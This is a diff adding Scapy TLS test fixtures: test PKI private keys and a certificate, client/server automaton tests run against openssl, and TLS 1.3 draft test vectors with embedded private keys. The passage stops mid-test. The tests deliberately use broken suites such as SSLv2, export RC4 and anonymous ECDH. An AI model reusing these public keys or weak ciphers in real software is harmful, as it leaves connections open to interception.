diff --git a/test/tls/pki/cli_key.pem b/test/tls/pki/cli_key.pem
new file mode 100644
index 0000000..3092d55
--- /dev/null
+++ b/test/tls/pki/cli_key.pem
@@ -0,0 +1,28 @@
+-----BEGIN PRIVATE KEY-----
+MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDDCTeYqA0oIzrn
+1HliSOwJYuUD8kqA/J3nkl5MxpZuPEhgzc6CkLNL++YJpTrP5nYrSrD37vR0ADoX
+fe6KK/B0C4RDKhejqYhsozqO4t/v1/Gz4SSbJ+qWJieTx/B43bh7hhRrfTq9rcKU
+AndbeWTdykmaZxJPStx0txiRx7DuvVL7iFrJLI43rQLQ+x6b3XjBqzEZkxICNxBV
+VIoHz9cvLmqKuuPEzxt9TBcfHKcXyoTbbLZkT2Tacpdjac6GUBV7JGzDvKVWHEMU
+8AOvwIAwWKGmEXVeIauTEn3BpaMuTiLEf/LaGpidBI28qbpZwtPhe/IKD/z7sIrL
+h4tmGCcVAgMBAAECggEBAJU951ocNj0hgEDH+L55uIySLVawv8wmAhqiiSBM0e22
+mVfiBIUqftjE/8kfs3pFCuWjuPlv04U0az9wsOjwKIZUDbhrbD1jTC59VSDjgKKC
+ZsTTonRLvhl5Rs2xsFR8rV9wQQ3jfOCKJxulK3pG0SVaVqoc9wjP6xQwy086NCzq
+QLnM2BESEED9cfbO7zVE7bJzLmAH9v4eF5hpuQ3SQZGE6oib0uPPnAyl5iOZZHnu
+4DTxVHYIYKCegL47VpeL3h80Yzu8bAuqoSsLxbBcAoYB9e9ZMVi8o1NaVM9eT0/m
+HSb+rkN39YrrtXDkXxqmwsh8B7R9gRBxMFIzsI83XN0CgYEA+KSoQ3zpEjjFioB+
+006JcATCslLERgDuuaVqVlnt5a983i/3nwvICxfsGrFaQJ4TkhXEYuZro4Zovdc1
+9IAj8DEQRNh7H7mZoWtQnFC32VOdAUVZVpopL6009xKs/II9pRKg4Vm6mpb47xfl
+Yk/upy5yV4gHThkMLccJ8PqmIosCgYEAyM6Da1vflkzoKMu7HmJNmi59hnk5N15V
+C8BcYNaodiHucrcyzOexaVnIQJ7+CgVen+RF9wwcIQxUsw8Vcs0AZ4ipLDOFZXNk
+k0oGjr5oeCIHJvA9W1BSXmcJ5Beo4ASr0GmIQpfsFohFuHXn7ezQWqA6Me8HwFGF
+l8goN3VyMN8CgYBJ5u7YOE0yDEuykeSgO6yf7dpMlEsgH3DVHvRPPCV4akNr6sfn
+ruHDYlXbzTDtGc7pUazwVFpT3UROgKPZyyhjYMHcJJfb4xdlofbwrxEl+DMnSIx4
+MBPjxtCCSzu9RZy67qGAuWG8RvkwX2LfaLCfYi+8EoNRVCKJjKpIxMcSZwKBgC9E
+xZTJDKmxstiflI2DcGcB2JSGBpzs/LIGdvhor0EXnaytSS0IwS9ebhAgHQa42txi
+fMG5vQlegLWhsFfUv+qfNcts2VLXRe6R91c0pRzaTbqxxI+xKaKFOMPTefI5x0QJ
+A4VBg9aN/3N7dbwBCc67dtd4P+faiMsA186uO9IbAoGAVvh9bC5zoCfenexRe9si
+c/baEsOlPjMnM/QKz6Ue/65YTzpJYQ1hVlGqP2DsN28f5yJetHLcUINaPxlegKdL
+Ifhmdg5HO7v35NHVghXq+/M8xYRzKD6nqRqB8wEdGb+XOo5QHXsLp3wBQ7QXL4UI
+mrJFWi1wtyQOdIO4GJC8Bc0=
+-----END PRIVATE KEY-----
diff --git a/test/tls/pki/srv_cert.pem b/test/tls/pki/srv_cert.pem
new file mode 100644
index 0000000..e559f32
--- /dev/null
+++ b/test/tls/pki/srv_cert.pem
@@ -0,0 +1,22 @@
+-----BEGIN CERTIFICATE-----
+MIIDnjCCAoagAwIBAgIJAP4EVw3HJ+n2MA0GCSqGSIb3DQEBCwUAMFQxCzAJBgNV
+BAYTAk1OMRQwEgYDVQQHDAtVbGFhbmJhYXRhcjEXMBUGA1UECwwOU2NhcHkgVGVz
+dCBQS0kxFjAUBgNVBAMMDVNjYXB5IFRlc3QgQ0EwHhcNMTYwOTE2MTAyODExWhcN
+MjYwOTE1MTAyODExWjBYMQswCQYDVQQGEwJNTjEUMBIGA1UEBwwLVWxhYW5iYWF0
+YXIxFzAVBgNVBAsMDlNjYXB5IFRlc3QgUEtJMRowGAYDVQQDDBFTY2FweSBUZXN0
+IFNlcnZlcjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMzx8ZtgLWCu
+8pgNJynZwAlZTA9KMKhS3+WxIZ9Pwz1Wk91fxvez9lWL55Li3vKFSbShLPT9dqhn
+ygQgYBEYpvKptqYd2arl2duv5q9VV5//Uoll5oBigCGUvM+BG8tnwp21BXcEpseI
+GIB4aJU23pcbtmGHQhp1mEWC6z4yEcibhkI5jU0St1gbGfOdK6GYgsrXOyT7CTmw
+vMKVz4IpdRYpP0IgFytNQIxWbK26DzSFsX9AeXF4t6UEu5T3tUGV7nzrjQx5aFnv
+y7P6Pnge7mdMet3gme/a5++yCV2+gCAhBYMsRNtdKnYppbAjiHQHVCLWKXqS9W8t
+nuf4JiucWGUCAwEAAaNvMG0wCQYDVR0TBAIwADALBgNVHQ8EBAMCBeAwHQYDVR0O
+BBYEFKErIHDSa4DlZbzrAw+In3St3fYTMB8GA1UdIwQYMBaAFGZTlPQV0b1naLBR
+NzI14aSq3gd8MBMGA1UdJQQMMAoGCCsGAQUFBwMBMA0GCSqGSIb3DQEBCwUAA4IB
+AQCBiJJza5PnldbdQe6OHr2jSFinQTU/e33QN5gOuCyUd8hRNkCtWQkoyFbW6lus
+tNg/aLdmyuFWN6kAZepRyeyyaUld+ePA7WFUyRKfxrAKc1XoVTVg7xw28NrRkHdW
+BLirOO73CcWlmJAj6h/bFX8yKIGrm4UCS5XnN1F7G0gu+z5Sow20RqmSOhwf1woe
+WEr6LlGPKcYeuA4xDnPxJ4gXyshpDPqDzbN5DhSwuJsvOi0J4/wG8Dpu/TY7KxoJ
+KuirX4xA5IGyvPeDZxFuTpPqIq//o5p3V3bQCzis+IqUNY7X1GHMAf8ktI9hI7qI
+11nk6boqTrUVD5zQ6gaR2d6r
+-----END CERTIFICATE-----
diff --git a/test/tls/pki/srv_key.pem b/test/tls/pki/srv_key.pem
new file mode 100644
index 0000000..62248e3
--- /dev/null
+++ b/test/tls/pki/srv_key.pem
@@ -0,0 +1,28 @@
+-----BEGIN PRIVATE KEY-----
+MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDM8fGbYC1grvKY
+DScp2cAJWUwPSjCoUt/lsSGfT8M9VpPdX8b3s/ZVi+eS4t7yhUm0oSz0/XaoZ8oE
+IGARGKbyqbamHdmq5dnbr+avVVef/1KJZeaAYoAhlLzPgRvLZ8KdtQV3BKbHiBiA
+eGiVNt6XG7Zhh0IadZhFgus+MhHIm4ZCOY1NErdYGxnznSuhmILK1zsk+wk5sLzC
+lc+CKXUWKT9CIBcrTUCMVmytug80hbF/QHlxeLelBLuU97VBle58640MeWhZ78uz
++j54Hu5nTHrd4Jnv2ufvsgldvoAgIQWDLETbXSp2KaWwI4h0B1Qi1il6kvVvLZ7n
++CYrnFhlAgMBAAECggEAIPA9uZAimuhjOwbaJYLGt3nvnIF7AoKXU449biJeqawR
+hcHP852r2KHsrRHjbSz45JwG4rUd7gEIWdNuPTEuG9Ak99vSUQIyGnnR5JodxCw/
+8q869aVfHIaQNfV1JyLdB4XBhBhuSaFY9sTjYh/4dGbS0Cfx+titiXZ6InvfmdMD
+eLd/ZO35/BwtWN3J2ntRziTTREKLeEYFEe7FtXKGwDGIsvVn7egckefKMnflhMFA
+SuoPn2VvTqmhiwSuATdx1TP4XOVdVzuL2wT7brS7qHvabRDBKdVOfrNGOoMdnnua
+ursIQjQindNT8kVK8EGxws9eFr/dooYYFR72IusTfQKBgQDuQBzzKEtt86uRCbZX
+Y3lu0MJnR5OOodfGBBYF9Ue+W3OJTd9EvXLSgLBLvwirB7lsNXgXf8LHCTQOtF3H
+lnB8jE5OFSDGeSKWmUwZS+KVzq8vy7Qylp9i6x4pElwGUeba6AqeZZ+jUUn/HzdB
+s2pO8YWqyOp/Zo/m8P+vPZN4fwKBgQDcNqJ4Dutt/i60E9kaktGQVQODRNMhYCEq
+E5fhwJiZ0E9FBeuKPKjo7dGIux3KPQPBv3T0zjmB+M5QERVe5/ID8iytgbHGlnsg
+916iTN9rvi1Gk518vyFPsYjX9pPiQIayRBQKOXSYIkY+6rj2384XPRlZrN8D9n3Q
++An1JXfdGwKBgDs3YjqpnD3i35S4BkMoLUl2x6rl5m4AGeJUp6ipc0CD+G57FXA/
+aieZ5rec7qmbzOFxVLz6e03/Ipo5CEoQQTsjoF7V74SFHSyzQ2/SJao4aeCGT+52
+83yhlah9sLO9bZShMep2tbvg+3RWrOQ+lMC0VRXCxE4QDtpGsjY7Jsk/AoGAPstV
+iOa4O6U/rBn8zpcPKxkS51u42MuQqW7s4HMLENFVyVjm0YR6pfEqztKMrB6584Wk
+1Cn6PBW2vx4f+fAqEvX7x340M2y1r7DaS22gSBjy0C1Hu0rFNPRrESo/AUVlI3BG
+RqQbm0YqwcYs+DjZi8bgc7HX5kljlzMjo8QLagECgYA1DHAWv4WVrHt4I8V4ZCth
+9DZEtEOFpYjuoFh/xSIMZLsnvWRuyYVWcQwAqmK0Ew4m5opHFsQzABeGLVsK5aHX
+zmbYiRUuZGVpyc7c5XXomw50X8ajfQ+P21OPPc33h96cdHi2qbJIejZPia6A6ThU
+u13D93hAM6bzH6Ds5FPUQw==
+-----END PRIVATE KEY-----
diff --git a/test/tls/tests_tls_netaccess.uts b/test/tls/tests_tls_netaccess.uts
new file mode 100644
index 0000000..30ea346
--- /dev/null
+++ b/test/tls/tests_tls_netaccess.uts
@@ -0,0 +1,144 @@
+% TLS session establishment tests
+
+# More informations at http://www.secdev.org/projects/UTscapy/
+
+############
+############
++ TLS server automaton tests
+
+### DISCLAIMER: Those tests are slow ###
+
+= Load server util functions
+~ open_ssl_client crypto
+
+from __future__ import print_function
+
+import sys, os, re, time, multiprocessing, subprocess
+
+sys.path.append(os.path.abspath("./tls"))
+
+from travis_test_server import *
+
+def test_tls_server(suite="", version=""):
+    msg = ("TestS_%s_data" % suite).encode()
+    # Run server
+    q_ = multiprocessing.Manager().Queue()
+    th_ = multiprocessing.Process(target=run_tls_test_server, args=(msg, q_))
+    th_.start()
+    # Synchronise threads
+    q_.get()
+    time.sleep(1)
+    # Run client
+    CA_f = os.path.abspath("./tls/pki/ca_cert.pem")
+    p = subprocess.Popen(
+        ["openssl", "s_client", "-debug", "-cipher", suite, version, "-CAfile", CA_f],
+        stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT
+    )
+    msg += b"\nstop_server\n"
+    out = p.communicate(input=msg)[0]
+    print(out.decode())
+    if p.returncode != 0:
+        th_.terminate()
+        raise RuntimeError("OpenSSL returned with error code")
+    else:
+        p = re.compile(b'verify return:(\d+)')
+        _failed = False
+        _one_success = False
+        for match in p.finditer(out):
+            if match.group(1).strip() != b"1":
+                _failed = True
+                break
+            else:
+                _one_success = True
+        if _failed or not _one_success:
+            th_.terminate()
+            raise RuntimeError("OpenSSL returned unexpected values")
+    # Wait for server
+    th_.join(30)
+    if th_.is_alive():
+        th_.terminate()
+        raise RuntimeError("Test timed out")
+    # Analyse values
+    print(q_.get())
+    assert th_.exitcode == 0
+
+
+= Testing TLS server with TLS 1.0 and TLS_RSA_WITH_RC4_128_SHA
+~ open_ssl_client crypto
+
+test_tls_server("RC4-SHA", "-tls1")
+
+= Testing TLS server with TLS 1.1 and TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA
+~ open_ssl_client crypto
+
+test_tls_server("EDH-RSA-DES-CBC3-SHA", "-tls1_1")
+
+= Testing TLS server with TLS 1.2 and TLS_DHE_RSA_WITH_AES_128_CBC_SHA256
+~ open_ssl_client crypto
+
+test_tls_server("DHE-RSA-AES128-SHA256", "-tls1_2")
+
+= Testing TLS server with TLS 1.2 and TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
+~ open_ssl_client crypto
+
+test_tls_server("ECDHE-RSA-AES256-GCM-SHA384", "-tls1_2")
+
++ TLS client automaton tests
+
+= Load client utils functions
+~ crypto
+
+import sys, os, threading
+
+from scapy.modules.six.moves.queue import Queue
+
+sys.path.append(os.path.abspath("./tls"))
+
+from travis_test_client import *
+
+def perform_tls_client_test(suite, version):
+    # Run test_tls_client in an other thread
+    q = Queue()
+    p = threading.Thread(target=test_tls_client, args=(suite, version, q))
+    p.start()
+    # Wait for the function to end
+    p.join()
+    # Analyse data and return
+    if not q.empty():
+        print(q.get())
+    if not q.empty():
+        assert q.get() == 0
+    else:
+        print("ERROR: Missing one of the return value detected !")
+        assert False
+
+= Testing TLS server and client with SSLv2 and SSL_CK_DES_192_EDE3_CBC_WITH_MD5
+~ crypto
+
+perform_tls_client_test("0700c0", "0002")
+
+= Testing TLS client with SSLv3 and TLS_RSA_EXPORT_WITH_RC4_40_MD5
+~ crypto
+
+perform_tls_client_test("0003", "0300")
+
+= Testing TLS client with TLS 1.0 and TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA
+~ crypto
+
+perform_tls_client_test("0088", "0301")
+
+= Testing TLS client with TLS 1.1 and TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
+~ crypto
+
+perform_tls_client_test("c013", "0302")
+
+= Testing TLS client with TLS 1.2 and TLS_DHE_RSA_WITH_AES_128_GCM_SHA256
+~ crypto
+
+perform_tls_client_test("009e", "0303")
+
+= Testing TLS client with TLS 1.2 and TLS_ECDH_anon_WITH_RC4_128_SHA
+~ crypto
+
+perform_tls_client_test("c016", "0303")
+
diff --git a/test/tls/travis_test_client.py b/test/tls/travis_test_client.py
new file mode 100755
index 0000000..b29e81b
--- /dev/null
+++ b/test/tls/travis_test_client.py
@@ -0,0 +1,55 @@
+#!/usr/bin/env python
+
+## This file is part of Scapy
+## This program is published under a GPLv2 license
+
+"""
+TLS client used in unit tests.
+
+Start our TLS client, send our send_data, and terminate session with an Alert.
+Optional cipher_cuite_code and version may be provided as hexadecimal strings
+(e.g. c09e for TLS_DHE_RSA_WITH_AES_128_CCM and 0303 for TLS 1.2).
+Reception of the exact send_data on the server is to be checked externally.
+"""
+
+import sys, os, time
+import multiprocessing
+
+basedir = os.path.abspath(os.path.join(os.path.dirname(__file__),"../../"))
+sys.path=[basedir]+sys.path
+
+from scapy.layers.tls.automaton_cli import TLSClientAutomaton
+from scapy.layers.tls.handshake import TLSClientHello
+
+
+send_data = cipher_suite_code = version = None
+
+def run_tls_test_client(send_data=None, cipher_suite_code=None, version=None):
+    if version == "0002":
+        t = TLSClientAutomaton(data=[send_data, b"stop_server", b"quit"], version="sslv2")
+    else:
+        ch = TLSClientHello(version=int(version, 16), ciphers=int(cipher_suite_code, 16))
+        t = TLSClientAutomaton(client_hello=ch, data=[send_data, b"stop_server", b"quit"], debug=1)
+    t.run()
+
+from travis_test_server import run_tls_test_server
+
+def test_tls_client(suite, version, q):
+    msg = ("TestC_%s_data" % suite).encode()
+    # Run server
+    q_ = multiprocessing.Manager().Queue()
+    th_ = multiprocessing.Process(target=run_tls_test_server, args=(msg, q_))
+    th_.start()
+    # Synchronise threads
+    assert q_.get() is True
+    time.sleep(1)
+    # Run client
+    run_tls_test_client(msg, suite, version)
+    # Wait for server
+    th_.join(60)
+    if th_.is_alive():
+        th_.terminate()
+        raise RuntimeError("Test timed out")
+    # Return values
+    q.put(q_.get())
+    q.put(th_.exitcode)
diff --git a/test/tls/travis_test_server.py b/test/tls/travis_test_server.py
new file mode 100755
index 0000000..42848bc
--- /dev/null
+++ b/test/tls/travis_test_server.py
@@ -0,0 +1,72 @@
+#!/usr/bin/env python
+
+## This file is part of Scapy
+## This program is published under a GPLv2 license
+
+"""
+TLS server used in unit tests.
+
+When some expected_data is provided, a TLS client (e.g. openssl s_client)
+should send some application data after the handshake. If this data matches our
+expected_data, then we leave with exit code 0. Else we leave with exit code 1.
+If no expected_data was provided and the handshake was ok, we exit with 0.
+"""
+
+from ast import literal_eval
+import os
+import sys
+from contextlib import contextmanager
+from io import BytesIO, StringIO
+
+from scapy.modules import six
+
+basedir = os.path.abspath(os.path.join(os.path.dirname(__file__),
+                                       os.path.pardir, os.path.pardir))
+sys.path = [basedir] + sys.path
+
+from scapy.layers.tls.automaton_srv import TLSServerAutomaton
+
+
+@contextmanager
+def captured_output():
+    new_out, new_err = (StringIO(), StringIO()) if six.PY3 else (BytesIO(), BytesIO())
+    old_out, old_err = sys.stdout, sys.stderr
+    try:
+        sys.stdout, sys.stderr = new_out, new_err
+        yield sys.stdout, sys.stderr
+    finally:
+        sys.stdout, sys.stderr = old_out, old_err
+
+def check_output_for_data(out, err, expected_data):
+    errored = err.getvalue()
+    if errored:
+        return (False, errored)
+    output = out.getvalue().strip()
+    if expected_data:
+        for data in output.split('> Received: ')[1:]:
+            for line in literal_eval(data).split(b'\n'):
+                if line == expected_data:
+                    return (True, output)
+        return (False, output)
+    else:
+        return (True, None)
+
+def run_tls_test_server(expected_data, q):
+    correct = False
+    with captured_output() as (out, err):
+        # Prepare automaton
+        crt_basedir = os.path.join(basedir, 'test', 'tls', 'pki')
+        t = TLSServerAutomaton(mycert=os.path.join(crt_basedir, 'srv_cert.pem'),
+                               mykey=os.path.join(crt_basedir, 'srv_key.pem'))
+        # Sync threads
+        q.put(True)
+        # Run server automaton
+        t.run()
+        # Return correct answer
+        correct, out_e = check_output_for_data(out, err, expected_data)
+    # Return data
+    q.put(out_e)
+    if correct:
+        sys.exit(0)
+    else:
+        sys.exit(1)
diff --git a/test/tls13.uts b/test/tls13.uts
new file mode 100644
index 0000000..f8aa9b6
--- /dev/null
+++ b/test/tls13.uts
@@ -0,0 +1,266 @@
+% Tests for TLS 1.3
+#
+# Try me with :
+# bash test/run_tests -t test/tls13.uts -F
+
+
++ Read a TLS 1.3 session
+# /!\ These tests will not catch our 'INTEGRITY CHECK FAILED's. /!\
+# We deem the knowledge of the plaintext sufficient for passing...
+
+= Reading TLS 1.3 test session (vectors 5 from draft-ietf-tls-tls13-vectors-00)
+~ crypto
+import binascii
+from cryptography.hazmat.primitives.asymmetric.ec import EllipticCurvePrivateNumbers
+from cryptography.hazmat.backends import default_backend
+
+def clean(s):
+    return binascii.unhexlify(''.join(c for c in s if c.isalnum()))
+
+clientHello1 = clean("""
+         16030100ae010000 aa0303d9e9898df6
+         3d43adbe64a2634f 0b63bcdc4019a3e5 26bc013a6042e05b
+         14555c0000061301 130313020100007b 0000000b00090000
+         06736572766572ff 01000100000a0008 0006001d00170018
+         002800260024001d 002005efa94d13f5 adcd14219379d5a3
+         7dbce4721d9294e5 72c6651aeb761838 815b002b0003027f
+         12000d0020001e04 0305030603020308 0408050806040105
+         0106010201040205 0206020202002d00 020101
+         """)
+t = TLS(clientHello1)
+
+helloRetryRequest = clean("""
+         160301000e060000 0a7f120006002800 020017
+         """)
+t = TLS(helloRetryRequest, tls_session=t.tls_session.mirror())
+
+secp256r1_client_privkey = clean("""
+         11fa48d153c917ff d89dff13140760a1
+         36265d399fa9f10e 2d766d42a6c84e90
+         """)
+clientHello2 = clean("""
+         16030100cf010000 cb0303d9e9898df6
+         3d43adbe64a2634f 0b63bcdc4019a3e5 26bc013a6042e05b
+         14555c0000061301 130313020100009c 0000000b00090000
+         06736572766572ff 01000100000a0008 0006001d00170018
+         0028004700450017 0041041e5a785f54 17fb18db42938435
+         34a5c0ba6e744baa 6846d0b32f4e9ea3 922724a08f2adb09
+         f071f81402e7fd8c a33b76abe1cd556f d3e8fe20e0fd2e82
+         02f969002b000302 7f12000d0020001e 0403050306030203
+         0804080508060401 0501060102010402 050206020202002d 00020101
+         """)
+t = TLS(clientHello2, tls_session=t.tls_session.mirror())
+pubnum = t.tls_session.tls13_client_pubshares["secp256r1"].public_numbers()
+privnum = EllipticCurvePrivateNumbers(pkcs_os2ip(secp256r1_client_privkey), pubnum)
+privkey = privnum.private_key(default_backend())
+t.tls_session.tls13_client_privshares["secp256r1"] = privkey
+
+#secp256r1_server_privkey = clean("""
+#         ff265d2062c70725 ca22513e1e6841ff
+#         475e8a00421f0818 186edd1c0080cc6a
+#         """)
+serverHello = clean("""
+         1603010073020000 6f7f1296ff693075
+         d8465651a9c28773 f5496542206ba390 199b9c997545d9a1
+         2666151301004900 2800450017004104 8a4d09cde58dbc04
+         1955b9a41a43c169 6dc5429ffa96f9cd 194a863ac782f181
+         59f072b4f610215d 86407dd7368b754a b2e64f2c1b3f9d45
+         7c264e2b1781a36b
+         """)
+t = TLS(serverHello, tls_session=t.tls_session.mirror())
+
+serverEncHS = clean("""
+         170301029081de4f cfd700da4573d570
+         5942f14a11e569aa 9aacc95260520102 6f74f2b2ad6abe08
+         7b53a4940ff94208 9e02d3159b1c6f11 75d7fcb51abad6fd
+         d4f7ff4af6590b47 16c1d90e1031e1a1 e32079f531108c6b
+         9f79d6120319e0a3 73010e82d780a8f9 c3fdf8474840cdb6
+         7e4943d3808a27cd 5d9375c766a95ef4 8393c235d83ad26a
+         20628671793f75df aa0be78b11fed206 6506d19a769d9d32
+         adc0437784994359 ef5e452609353670 1c46004cf6fc252e
+         546e797238c73b94 b073461158301f78 1498917c32dc0ece
+         658a53790c667397 f7744775c2bef907 b5f7d5677b2e57fe
+         7c4bfd43c7ad1ee4 6fd400c3d3c3c05f e8775f055263e98a
+         692b49a818d0f698 4400c1db2f429fa8 9fb61d523398e1d0
+         2bc5c393027146c0 f326032d18cb8283 473f2b6d554df942
+         c7b1a0050694c7b2 bf31a816f7ff77f1 d7db873dbb6e4646
+         acabfa73c317a34c e6212a3469f549e6 cde71ab229a6f220
+         acda60832b510663 02a23d02c734bd5e 71b04fb248ca47ba
+         0c7b1fd28fee9b5d 86e6b1a6a2a1a43e 3831210519f54134
+         c96486d11ef3125f 74969785690487e0 aa5c0a310ebf9d31
+         95ec5543af8a6ffb 710eb0a90285960d c1ccdc10ecee9669
+         9171e97eae526a17 205012ab6f262e44 31ae9a70ff2ed7bd
+         966ef6bd4563f56a 7a14970dcabf97ae 7e4354db1ea27548
+         c55c11542ad07bcd 6f47a7143b86c4e6 678ce7dc6d51a1b7
+         75687644d6526efa 3c864f592819e7b7 f9f1bbc02ed8821a
+         e66019b240b41f5e ebf9475069700030 7122f7c8a8d6c0da
+         a264c63183238d72 0eacb86879fab9ba 8a673c51a52c8284
+         75e3211223cd2238 bd8b8a934af3e4dd e10e788df23ad6d8
+         51d68b78082ac667 a854356415e7858b e526307332990d8c
+         c38a5dc4cfc22a2c a2bdd9126a2ce13d 7015264921
+         """)
+t = TLS(serverEncHS, tls_session=t.tls_session)
+
+clientFinished = clean("""
+         170301003543adad e592362412fb77d7
+         28b181c01b77cd62 a661e4125e6f9851 826e418f4c292ec6
+         3254e8b0342d65db 8a7f074eed527ea6 98a6
+         """)
+t = TLS(clientFinished, tls_session=t.tls_session.mirror())
+
+clientRecord = clean("""
+         17030100131ef5c9 e7205f31a1edf9b1
+         3600fec1271e4f5d
+         """)
+t = TLS(clientRecord, tls_session=t.tls_session)
+
+serverRecord = clean("""
+         170301001350ff6e 907c508b6b191ff6
+         094faf4c0b32d6a8
+         """)
+t = TLS(serverRecord, tls_session=t.tls_session.mirror())
+
+alert = t.inner.msg[0]
+assert(isinstance(alert, TLSAlert))
+alert.level == 1 and alert.descr == 0
+
+
+= Reading TLS 1.3 test session (vectors 3 from draft-ietf-tls-tls13-vectors-00)
+~ crypto_advanced
+from cryptography.hazmat.primitives.asymmetric.x25519 import X25519PrivateKey
+
+x25519_client_privkey = clean("""
+         00b4198a84ed6a7c 218702891735239d
+         40b7c66505330364 3d3c67f7458ecbc9
+         """)
+clientHello = clean("""
+         1603010200010001 fc03039a464db650
+         dcc81fed6f1fea63 5f15861574c0ed0b fb5778de7724fb92
+         7c5ef100003e1301 13031302c02bc02f cca9cca8c00ac009
+         c013c023c027c014 009eccaa00330032 006700390038006b
+         00160013009c002f 003c0035003d000a 0005000401000195
+         001500fc00000000 0000000000000000 0000000000000000
+         0000000000000000 0000000000000000 0000000000000000
+         0000000000000000 0000000000000000 0000000000000000
+         0000000000000000 0000000000000000 0000000000000000
+         0000000000000000 0000000000000000 0000000000000000
+         0000000000000000 0000000000000000 0000000000000000
+         0000000000000000 0000000000000000 0000000000000000
+         0000000000000000 0000000000000000 0000000000000000
+         0000000000000000 0000000000000000 0000000000000000
+         0000000000000000 0000000000000000 0000000000000000
+         0000000000000000 0000000000000000 0000000b00090000
+         06736572766572ff 01000100000a0014 0012001d00170018
+         0019010001010102 01030104000b0002 0100002300000028
+         00260024001d0020 35e58b160db6124f 01a1d2475a22b72a
+         bd6896701eed4c7e fd6124ee231ba458 002b0007067f1203
+         030302000d002000 1e04030503060302 0308040805080604
+         0105010601020104 0205020602020200 2d00020101
+         """)
+t = TLS(clientHello)
+privkey = X25519PrivateKey._from_private_bytes(x25519_client_privkey)
+t.tls_session.tls13_client_privshares["x25519"] = privkey
+
+x25519_server_privkey = clean("""
+         03d43f48ed52076f 4ce9bab73d1f39ec
+         689cf304075829f5 2b90f9f13bea6f34
+         """)
+serverHello = clean("""
+         1603010052020000 4e7f1298e3436403
+         8683391cbec1039a a0fba2f496d8c8e6 327151cc94bbc5ef
+         7390751301002800 280024001d0020a2 0ed1b7f2d96a7f12
+         568f0e460bb0fc86 dc8d1db6c07d6b10 d4dc74aaac9219
+         """)
+t = TLS(serverHello, tls_session=t.tls_session.mirror())
+
+serverEncHS = clean("""
+         170301029c4e1f34 2dba17a54a09f7a1
+         8ffb2c6a29df17a6 db843044c52861bf 78988527ce366159
+         e6a24871b704d2b9 fade56488921796d 719173a753bdfec8
+         0554c8c15e128695 450ccfdde1204ffd 2fb1ecdcd87b8070
+         644eb5a6b86ec951 aba3ed314754a2f3 14d4d2620b92da1f
+         28f24b9559d76b67 a7b35c17cc231ba5 77a94fb2be59c74f
+         84c8c78bf5faf4cb b2f8a37091580743 3c67d9f4e1b1923a
+         3969b85a2ae9064e 34e84363aae43aa9 f58717836a017b9c
+         33c3ad733c2fd3ce 288ae362764403d0 102a371047d9e49d
+         f9b30596262b1704 f0e9839fff5641ba a7041a4bcf9e4d46
+         7108922fc0ea0bc1 48dab2ebdd155f51 76c632be04a7c610
+         3fbc92754dba7962 4f8a09f8e8d65c17 eee87f98636fbc93
+         bb734674b80d183c da904200a20d8f15 0a214902b6953209
+         aa2431c3973bda3b d92a33878baca7b9 0507f433a55f2fe8
+         f0db81898ebacf31 b68eaabfa27c39b6 a2453a322c005030
+         4e60bf53f0402b38 65b43fe5a7454c13 17a2dc76d1323fb1
+         aa553996876a0dfe 8e789d6adf3dc85b 0636bb58a96e6aad
+         851e7a6fc1dfa796 ec65e33bf9e3c05d 6de35f11e1f32731
+         fb9550a60cb75e90 9345eb0edb81f99f cad883cb41d4a3ef
+         7cbe671b92a8176b 472772be401b83a4 99b06b7ab0a1d9cd
+         795e5ba0b67ce2d6 5c45565028824aa2 08797f405bbcf243
+         27dd69a1d986032f 544b15d110e4d8c4 681cb85c09960adb
+         57fb9723eef0e0bb 275552af25fbdfc1 a4215adf14a9dba2
+         4462dd095f1a78f5 6ed6db3de139936f 14b091ab7f4adc81
+         c277e68bfb6fd925 d92c06c0a4ddd105 9c071073a8a2e987
+         f98948599f27bf6d 1f4369ac6c5a3323 2932fb8aa52ec4e1
+         85790dff0ef5eee0 13b4e90b5bc1cd4a c42b7ce82d856cc0
+         f5d1c80400e68d61 b434cec56d437141 1e31849d4cf88862
+         8ba288548df6a19e c4
+         """)
+t = TLS(serverEncHS, tls_session=t.tls_session)
+
+clientFinished = clean("""
+         1703010035161e94 818226d7bd618063
+         0804644debc52bdd 661034243217ac45 a084228c82086baa
+         4893ecfc969624d6 8e19d88c3e67ccb4 8bdf
+         """)
+t = TLS(clientFinished, tls_session=t.tls_session.mirror())
+
+serverRecord1 = clean("""
+         17030100bbe6b3e9 89df694688f29f5d
+         a42d9f56053fc6d2 f73ee23accad26f9 599ee4dcf4e0cf9e
+         de80128b48156a65 e5e47dee679a8401 1234862b6728fb12
+         be5198d5c023d6f2 0c355fc417a5eade 1aff0bf9ecba14c8
+         7277ea7aeb30055e a4d9b37bc12f7517 27ca7a1efc9285f8
+         ed5e9e3be42ff475 30f2b7347a90618b 6f7f4eba9b8b6564
+         f2159fcfcf09e4b6 2b4b09bb129e7c76 5c877966ca66e5cd
+         a84cdb6087a07fc0 50c97f275568623c 5d0f459d2b1133d1
+         d5d37cd441192da7
+         """)
+t = TLS(serverRecord1, tls_session=t.tls_session.mirror())
+
+clientRecord1 = clean("""
+         170301004341b540 bf5adeaf9d209001
+         9f0733e281964724 526678a1946852cf 6f586dffacf1151d
+         bf7c9262ef6ae960 4a423fff339fd7e4 0cc3e7604ae661f0
+         afa2f775c3668867
+         """)
+t = TLS(clientRecord1, tls_session=t.tls_session.mirror())
+app_data = t.inner.msg[0]
+assert(app_data.data == b'\x00\x01\x02\x03\x04\x05\x06\x07\x08\t\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !"#$%&\'()*+,-./01')
+
+serverRecord2 = clean("""
+         17030100438c3168 1fb21f820ef0603c
+         dc3b9d3deedeb2bb 615aa418fb2590a0 9b0dec00c2299feb
+         17c4206f89ab28d2 7a605e288ac9bd69 657593addd1046be
+         51b23940f8746634
+         """)
+t = TLS(serverRecord2, tls_session=t.tls_session.mirror())
+app_data = t.inner.msg[0]
